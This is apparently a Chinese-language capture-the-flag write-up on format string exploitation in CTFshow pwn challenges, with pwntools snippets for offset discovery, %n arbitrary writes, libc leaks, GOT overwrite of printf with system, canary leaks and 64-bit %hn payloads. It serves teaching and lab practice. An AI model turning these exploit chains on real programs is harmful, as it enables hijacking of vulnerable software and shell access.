CTFshow-pwn入门-格式化字符串漏洞实战：从任意读写到GOT覆写
1. 格式化字符串漏洞基础原理
格式化字符串漏洞是CTF pwn题型中的经典考点，它的本质是程序员错误地使用printf等格式化输出函数时，将用户输入直接作为第一个参数（格式化字符串）传递。这种漏洞之所以危险，是因为攻击者可以通过精心构造的输入实现内存任意读写。
举个例子，当程序中出现类似printf(user_input)这样的代码时，如果我们在user_input中输入%x，程序就会打印出栈上的数据。更危险的是%n格式化符，它能把已输出的字符数写入指定地址。比如输入AAAA%4$n，就会在第4个参数指向的位置写入数字4。
我在实际调试中发现，32位和64位程序在参数传递上有明显差异。32位程序所有参数都通过栈传递，而64位程序前6个参数会优先使用寄存器（rdi/rsi/rdx/rcx/r8/r9），超出的部分才会使用栈。这个特性直接影响我们计算格式化字符串偏移的方式。
2. 偏移计算与任意地址写入实战
2.1 确定格式化字符串偏移
要利用格式化字符串漏洞，首先需要确定我们的输入在栈上的位置。我常用的方法是输入一串AAAA配合多个%p：
payload = b"AAAA" + b"%p."*10 io.sendline(payload)在输出结果中查找0x41414141（AAAA的十六进制），数一下它是第几个参数。比如在32位程序中，如果出现在第7个%p的位置，说明偏移是7。
2.2 构造任意写payload
找到偏移后，就可以利用%n系列格式化符实现任意地址写入。这里有个实用技巧：通过控制输出的字符数来精确控制写入的值。比如：
target_addr = 0x0804B038 payload = p32(target_addr) + b"%6c%7$n"这个payload会：
- 将目标地址压入栈（占4字节）
- 输出6个字符（空格填充）
- 将总输出字符数（4+6=10）写入第7个参数指向的地址
在CTFshow pwn91中，我就是用这个方法修改了daniu变量的值，成功拿到shell。
3. GOT表劫持技术详解
3.1 GOT/PLT机制回顾
动态链接的程序通过GOT（Global Offset Table）来实现函数地址的延迟绑定。当程序第一次调用某个库函数（如printf）时，会先跳转到PLT表，再通过GOT表完成地址解析。之后再次调用时就直接使用GOT表中存储的地址。
关键点在于：GOT表是可写的！这就给了我们劫持函数调用的机会。比如把printf的GOT项改为system的PLT地址，那么后续调用printf时实际执行的就是system。
3.2 完整利用链构造
以CTFshow pwn94为例，完整攻击流程如下：
- 泄露libc基址：通过格式化字符串泄露printf的真实地址
printf_got = elf.got["printf"] payload = p32(printf_got) + b"%6$s" io.sendline(payload) printf_addr = u32(io.recv(4))- 计算system地址：根据libc版本计算偏移
libc = LibcSearcher("printf", printf_addr) system_addr = printf_addr - libc.dump("printf") + libc.dump("system")- 覆写GOT表：使用任意写修改printf@got
payload = fmtstr_payload(6, {printf_got: system_addr}) io.sendline(payload)- 触发shell：下次调用printf时传入"/bin/sh"
io.sendline("/bin/sh\x00")4. 高级利用技巧与实战案例
4.1 栈数据泄露技巧
当flag直接存在于栈上时（如pwn96），可以通过大量%p来泄露栈数据。我开发了一个自动化脚本：
for i in range(6, 20): payload = f"%{i}$p".encode() io.sendline(payload) leak = io.recvline().strip() if b"6366" in leak: # "cf"的hex print(f"Found flag at position {i}") break4.2 绕过栈保护机制
pwn98题目演示了如何绕过Stack Canary：
- 先用格式化字符串泄露canary值
- 栈溢出时保持canary值不变
- 覆盖返回地址到后门函数
关键payload构造：
canary = int(io.recvline(), 16) payload = b"A"*0x28 + p32(canary) + b"B"*12 + p32(backdoor)4.3 64位环境下的特殊处理
64位程序（如pwn100）的利用需要注意：
- 参数优先通过寄存器传递
- 地址高位通常是0，可以分两次写入（先写低位再写高位）
- 使用
%hn（2字节写入）代替%n可以减少输出量
一个典型的64位payload：
payload = f"%{lower_two_bytes}c%10$hn".encode() payload = payload.ljust(16, b"A") + p64(target_addr)在实际比赛中，我建议先用%p泄露多个位置的值，画出完整的栈布局图，这对构造精准的payload非常有帮助。同时要注意不同libc版本带来的偏移差异，最好准备多个版本的libc数据库。